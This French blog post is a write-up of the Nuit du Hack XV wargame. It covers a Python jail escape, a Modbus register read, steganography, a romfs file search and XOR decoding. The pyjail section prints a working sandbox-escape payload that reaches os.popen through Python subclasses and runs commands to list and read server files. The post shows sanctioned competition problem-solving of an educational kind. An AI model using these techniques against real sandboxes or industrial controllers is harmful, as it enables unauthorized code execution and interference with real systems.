370 lines
14 KiB
Markdown
370 lines
14 KiB
Markdown
---
|
|
layout: post
|
|
slug: write-up-wargame-ndh-xv
|
|
status: published
|
|
sitemap: true
|
|
title: Write-Up Wargame Nuit du Hack XV
|
|
description: Les méfaits de The Magic Modbus
|
|
category: securite
|
|
tags:
|
|
---
|
|
|
|
J'ai participé en équipe sous le nom de The Magic Modbus (vous comprendrez en lisant la suite de cet article) au wargame de la Nuit du Hack et aux challenges Intrinsec.
|
|
|
|
> Les règles sont simples : trouvez les *flags* cachés dans les challenges pour gagner des points. Plus vous êtes rapide pour valider un *flag*, plus vous gagnez de points. Les flags sont des chaînes de caractères commençant par `ndh2k17`.
|
|
|
|
Dans cet article, je détaille le chemin suivi pour les challenges auxquels j'ai contribué à trouver la solution.
|
|
Vous trouverez l'explication d'autres challenges par d'autres membres de mon équipe :
|
|
|
|
* [NdH XV Wargame Write-Up: Tic-Tac-Toe (web)](http://blog.lesterpig.com/post/ndhxv-wargame-tictactoe/) par [Lesterpig](https://lesterpig.com/) (en)
|
|
* [Wargame NDH XV - Write-Up Radio Three ](https://blog.tclaverie.eu/posts/wargame-ndh-xv---write-up-radio-three/) par [Elykar](https://tclaverie.eu/) (fr)
|
|
|
|
<div style="margin-top: 20px"></div>
|
|
|
|
[](/assets/images/posts/ndh-magic-modbus.png)
|
|
|
|
|
|
## Intrinsec : Escape from pyjail to MARS
|
|
|
|
Au moment de l'écriture de ce Write-Up, il est encore possible d'accéder aux [challenges Intrinsec](https://ndh.intrinsec.com/challenges)
|
|
|
|
On commence le challenge par la ligne suivante, une connexion TCP sur le port 8001 sur un serveur d'Intrinsec :
|
|
|
|
```raw
|
|
nc ndh.intrinsec.com 8001
|
|
```
|
|
|
|
Lors de la connexion, on a le prompt suivant :
|
|
|
|
```raw
|
|
Welcome soldier, hope that you speak base64 fluently !
|
|
b64_Snake >>>
|
|
```
|
|
|
|
On sait donc que l'on va devoir communiquer en base64 avec un shell python.
|
|
Cependant le fait de convertir une simple expression python en base64 cause l'erreur suivante :
|
|
|
|
```raw
|
|
You should tell this to the marshal.
|
|
```
|
|
|
|
Après plusieurs essais, nous nous penchons sur la classe [marshal](https://docs.python.org/2/library/marshal.html) qui permet de serializer des objets. On aboutit alors à la fonction d'encodade suivante :
|
|
|
|
```python
|
|
import marshal
|
|
import base64
|
|
|
|
def encode(a):
|
|
return base64.b64encode(marshal.dumps(a))
|
|
```
|
|
|
|
Pour la suite, nous nous sommes basés sur le [Write-Up du BreizhCTF 2016 d'Intrinsec](https://securite.intrinsec.com/2016/05/17/breizhctf-2016-write-up-pyjail-1-2-3/).
|
|
|
|
On a donc :
|
|
|
|
```python
|
|
code = """
|
|
wclass = ().__class__.__base__.__subclasses__()[59]()
|
|
print wclass._module.__builtins__['__import__']('os').popen("ls -alR && cat chall/*").read()
|
|
"""
|
|
|
|
print encode(code)
|
|
```
|
|
|
|
On peut alors récupérer le code du serveur :
|
|
|
|
```python
|
|
#!/usr/bin/python
|
|
|
|
from marshal import loads
|
|
from base64 import b64decode
|
|
|
|
|
|
def exec_sand(payload):
|
|
try:
|
|
m_object = loads(payload)
|
|
except Exception:
|
|
print "You should tell this to the marshal."
|
|
else:
|
|
exec m_object in scope
|
|
|
|
scope = {"__builtins__": {"dir": dir}}
|
|
|
|
|
|
print "Welcome soldier, hope that you speak base64 fluently !"
|
|
while True:
|
|
try:
|
|
user_input = ""
|
|
user_input = raw_input("b64_Snake >>> ")
|
|
print "\nYOUR OUTPUT : "
|
|
try:
|
|
byte_code = b64decode(user_input)
|
|
except Exception as e:
|
|
print "Error_b64decode :: " + str(e)
|
|
else:
|
|
exec_sand(byte_code)
|
|
finally:
|
|
pass
|
|
except Exception as e:
|
|
print e
|
|
|
|
```
|
|
|
|
Pour la suite du challenge, c'est le fichier space.asm qui nous intéresse. Il contient un assembleur inconnu :
|
|
|
|
```
|
|
# code to run on MARS
|
|
.data
|
|
MEM: .space 112
|
|
CHAINE0: .asciiz "\nASCII :: "
|
|
CHAINE1: .asciiz " "
|
|
CHAINE2: .asciiz "\n"
|
|
.text
|
|
main: la $30, MEM
|
|
li $8, 18
|
|
sw $8, 4($30)
|
|
li $8, 55
|
|
sw $8, 20($30)
|
|
li $8, 42
|
|
sw $8, 8($30)
|
|
li $8, 34
|
|
# ...
|
|
```
|
|
|
|
En recherchant les instructions sur Google, on comprend qu'il s'agit d'une architecture MIPS. En s'intéressant à ce que notre gestionnaire de paquet nous propose sur MIPS :
|
|
|
|
```raw
|
|
dnf search mips
|
|
```
|
|
|
|
On trouve un paquet qui se nomme Mars :
|
|
|
|
```raw
|
|
Nom : Mars
|
|
Architectur : noarch
|
|
Époque : 0
|
|
Version : 4.5
|
|
Révision : 3.fc24
|
|
Taille : 3.3 M
|
|
Dépôt : @System
|
|
Depuis le d : fedora
|
|
Résumé : An interactive development environment for programming in MIPS assembly language
|
|
URL : http://courses.missouristate.edu/KenVollmar/MARS/
|
|
Licence : MIT
|
|
Description : MARS is a lightweight interactive development environment (IDE) for
|
|
: programming in MIPS assembly language, intended for educational-level
|
|
: use with Patterson and Hennessy's Computer Organization and Design.
|
|
```
|
|
|
|
En exécutant notre code dans cet environnement de développement, on peut récupérer le flag pour remporter l'épreuve.
|
|
|
|
## Intrinsec : Modbus
|
|
|
|
Pour Modbus, nous avons également une adresse et un port TCP :
|
|
|
|
```raw
|
|
ndh.intrinsec.com:5020
|
|
```
|
|
|
|
On apprend sur Wikipedia que [Modbus](https://en.wikipedia.org/wiki/Modbus) est un protocole ouvert pour faire communiquer des automates industriels.
|
|
|
|
Il permet de lire ou d'écrire plusieurs valeurs sur des automates connectés à un serveur.
|
|
Souvent la requête consiste à dire où l'on veut lire : *discrete inputs*, *coils*, *input registers* ou *holding registers*.
|
|
|
|
Pour communiquer avec le serveur qui nous est donné, nous avons utilisé la bibliothèque python pymodbus :
|
|
|
|
```raw
|
|
dnf install pymodbus
|
|
```
|
|
|
|
Pour commencer, nous avons suivi [la documentation de la bibliothèque](https://pymodbus.readthedocs.io/en/latest/index.html), particulièrement [l'exemple d'un client synchrone](https://pymodbus.readthedocs.io/en/latest/examples/synchronous-client.html) pour se familiariser avec la bibliothèque.
|
|
|
|
Nous n'avons pas trouvé tout de suite des informations intéressantes, nous avons donc utilisé le code d'un [Scraper Modbus fourni par la documentation](https://pymodbus.readthedocs.io/en/latest/examples/modbus-scraper.html) qui nous a permis de trouver des valeurs qui se convertissaient bien en ascii. Ce dernier ne récupérant que 8 caractères, nous n'avions pas le flag entier. Nous avons par contre modifié le parser pour afficher l'appel exact réalisé.
|
|
|
|
Nous avons pu ensuite écrire le script suivant pour récupérer le flag :
|
|
|
|
```python
|
|
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
|
|
|
|
with ModbusClient('ndh.intrinsec.com', 5020) as client:
|
|
rr = client.read_input_registers(0, 21, unit=1)
|
|
print ''.join([chr(x) for x in rr.registers])
|
|
```
|
|
|
|
Le flag était donc stocké dans un *input register*, peu importe *l'unit* et il fallait récupérer les valeurs depuis 0, jusqu'à 21. Ensuite on convertit le tableau de bytes en tableau de char que l'on transforme en string.
|
|
|
|
## NDH : So so funny
|
|
|
|
Ce challenge nous a donné plus de fil à retordre que prévu. Nous partions d'un PDF sur Kev Adams.
|
|
|
|
Nous avons commencé par extraire l'image, un fichier jpg. Nous avons regardé si des informations n'étaient pas cachées dedans en changeant la luminance, ou ajoutées à la fin du fichier mais rien.
|
|
|
|
En revenant sur l'analyse du fichier PDF en lui même, nous découvrons plusieurs polices au nom étrange (Comic Sans Kev2, Comic Sans Gad). Nous les extrayons avec l'outil pdf-parser.py mais rien de concluant.
|
|
|
|
Au final, nous finissons pas tenter l'outil `pdftotext` qui permet d'extraire le texte d'un PDF. Nous trouvons alors un indice, le texte suivant n'est pas affiché dans le PDF :
|
|
|
|
```raw
|
|
sha1sum(Kev-is-my-god)
|
|
```
|
|
|
|
Ce qui nous permet d'obtenir le flag :
|
|
|
|
```bash
|
|
echo "Kev-is-my-god" |sha1sum
|
|
3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2 -
|
|
```
|
|
|
|
Le flag final est donc le hash sha1 avec `ndh2k17_` devant :
|
|
|
|
```raw
|
|
ndh2k17_3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2
|
|
```
|
|
|
|
## NDH : So easy
|
|
|
|
Pour ce challenge, nous partions de l'image suivante :
|
|
|
|
[](/assets/images/posts/ndh-chall_soeasy.png)
|
|
|
|
Aucun outil particulier n'a été nécessaire pour ce challenge à part The Gimp.
|
|
On reconnait un empilement de text étiré en bas à gauche de l'image ainsi que plusieurs nombres. Ils semblent indiquer dans quel ordre lire les différents textes étirés, qui sont donc tournés selon un certain angle.
|
|
|
|
Je commence donc part isoler ce bout de l'image et à y appliquer les différentes rotations (outil sélection et rotation de Gimp) :
|
|
|
|
|
|
[](/assets/images/posts/ndh-chall_soeasy-step.png)
|
|
|
|
Ensuite, on peut soit baisser son écran pour lire le texte, soit redimensionner les images (outil de mise à l'échelle). L'idée étant de réduire la hauteur et d'augmenter la largeur :
|
|
|
|
[](/assets/images/posts/ndh-chall_soeasy-final.png)
|
|
|
|
## NDH : jam
|
|
|
|
Le challenge commence par le téléchargement d'un fichier binaire inconnu qui se nomme chall. On commence par essayer de deviner ce que c'est :
|
|
|
|
```raw
|
|
$ file chall
|
|
chall: romfs filesystem, version 1 104694992 bytes, named rom 59408f02.
|
|
$ mkdir chall_fs && sudo mount ./chall ./chall_fs
|
|
$ ls -lah chall_fs
|
|
drwxr-xr-x. 1 root root 32 1 janv. 1970 1jJMM
|
|
-rw-r--r--. 1 root root 4,4K 1 janv. 1970 1vSa
|
|
-rw-r--r--. 1 root root 13K 1 janv. 1970 2YUDgfHb
|
|
-rw-r--r--. 1 root root 5,5K 1 janv. 1970 3Hv
|
|
-rw-r--r--. 1 root root 1 1 janv. 1970 3hYMJS8
|
|
-rw-r--r--. 1 root root 1 1 janv. 1970 4L
|
|
-rw-r--r--. 1 root root 12K 1 janv. 1970 4SN1HuPY
|
|
...
|
|
```
|
|
|
|
Nous avons donc un système de fichier. Un seul fichier possède un nom avec du sens, il s'appelle init et contient :
|
|
|
|
```
|
|
FILETYPE="PNG"
|
|
```
|
|
|
|
On suppose donc que le fichier à trouver est un fichier PNG. Cependant, il y a beaucoup trop de fichiers pour les vérifier un à un manuellement. J'ai fait le choix d'automatiser la recherche avec python :
|
|
|
|
```python
|
|
from os import listdir
|
|
from os.path import isfile, join
|
|
import magic
|
|
|
|
def rec_type(mypath):
|
|
[rec_type(mypath + '/' + f) for f in listdir(mypath) if not isfile(join(mypath, f))]
|
|
|
|
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]
|
|
for f in onlyfiles:
|
|
with magic.Magic() as m:
|
|
content = m.id_filename(mypath + '/' + f)
|
|
if "PNG" in content:
|
|
print mypath + '/' + f + ': ' + content
|
|
|
|
rec_type('./chall_fs')
|
|
```
|
|
|
|
Nous trouvons bien un seul fichier qui contient une image PNG et cette image contient le flag que nous cherchons.
|
|
|
|
## NDH : Cul air code
|
|
|
|
Ce challenge commence avec une image :
|
|
|
|
[](/assets/images/posts/ndh-chOll.png)
|
|
|
|
En utilisant l'outil [zsteg](https://github.com/zed-0xff/zsteg) on se rend compte qu'un PNG est caché à la fin de l'image.
|
|
|
|
```raw
|
|
$ zsteg chOll.png
|
|
...
|
|
extradata:0 .. file: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
|
|
...
|
|
```
|
|
|
|
En l'extrayant, on obtient un PNG blanc de 30x30 pixels mais qui contient une autre image PNG à sa fin, etc.
|
|
On décide donc d'automatiser l'extraction des images PNG :
|
|
|
|
```bash
|
|
for i in {1..200}
|
|
do
|
|
echo grumpy${i}.png grumpy$((i+1)).png
|
|
zsteg grumpy${i}.png -E extradata:0 > grumpy$((i+1)).png
|
|
done
|
|
```
|
|
|
|
*Pour que ce script fonctionne, votre image de départ doit s'appeler grumpy1.png.*
|
|
|
|
On obtient donc un puzzle :
|
|
|
|
[](/assets/images/posts/ndh-grumpy-puzzle.png)
|
|
|
|
Ce dernier, sans indication est trop compliqué à résoudre à la main. En regardant les données exif des fichiers générés, on trouve sa position dans le puzzle :
|
|
|
|
```raw
|
|
$ exiftool ./grumpy/grumpy4.png
|
|
...
|
|
User Comment : position: 6,9
|
|
...
|
|
```
|
|
|
|
Il aurait été judicieux d'écrire un script pour reconstituer l'image à partir de ces données exif. Pour ma part, j'ai utilisé Gimp avec une grille en 30x30 aimantée. Une fois le QR Code reconstitué, ce dernier nous renvoit vers [un lien Pastebin](https://pastebin.com/raw/F1Y26KDJ) qui contient des informations encodées en base64. On peut décoder ces informations pour retrouver le binaire original comme suit :
|
|
|
|
```bash
|
|
wget https://pastebin.com/raw/F1Y26KDJ -o content.txt
|
|
base64 -d < content.txt > content.dat
|
|
file content.dat
|
|
```
|
|
|
|
[](/assets/images/posts/ndh-pastebin.png)
|
|
|
|
On comprend alors que le fichier est une image PNG. En l'ouvrant, il est possible de lire une phrase avec des mots en couleur. En réduisant la luminance dans GIMP sous Teintes-Saturation, certaines lettres et chiffres apparaissent d'une couleur différente :
|
|
|
|
|
|
[](/assets/images/posts/ndh-pastebin2.png)
|
|
|
|
Enfin, en regardant les données EXIF du fichier récupéré, on trouve :
|
|
|
|
```raw
|
|
0002ece0 df 84 fa 39 ff d8 00 00 00 2f 69 54 58 74 43 6f |...9...../iTXtCo|
|
|
0002ecf0 6d 6d 65 6e 74 00 00 00 00 00 78 6f 72 28 9a 29 |mment.....xor(.)|
|
|
0002ed00 15 2c 05 0d 7a 6a b9 79 16 2d 2a 08 3f 5e 9a 7e |.,..zj.y.-*.?^.~|
|
|
0002ed10 48 4d 29 4e 7e 01 80 79 1a 2a 5f 52 29 45 78 08 |HM)N~..y.*_R)Ex.|
|
|
```
|
|
|
|
En réalisant un XOR entre les éléments en paranthèse et la "clé" en rose, on commence à obtenir notre flag :
|
|
|
|
```raw
|
|
0x9a ^ 0xf4 = 'n'
|
|
0x29 ^ 0x4d = 'd'
|
|
0x15 ^ 0x7d = 'h'
|
|
...
|
|
```
|
|
|
|
Pourtant en arrivant au bout de la clé, le décodage ne fonctionne plus si on reprend au début de cette dernière. Nous avons donc pour le moment :
|
|
|
|
```raw
|
|
ndh2k1
|
|
```
|
|
|
|
Nous connaissons les deux éléments suivants : 7 puis underscore. Nous retrouvons donc les deux octets manquants qui permettent de compléter notre clé de décodage. Ensuite, il suffit de recommencer au début de la clé pour déchiffrer la suite.
|
|
|
|
Notre équipe a fini 8ème du Wargame, une très bonne surprise. Nous espérons pouvoir retenter l'aventure l'année prochaine, et qui sait, faire mieux ?
|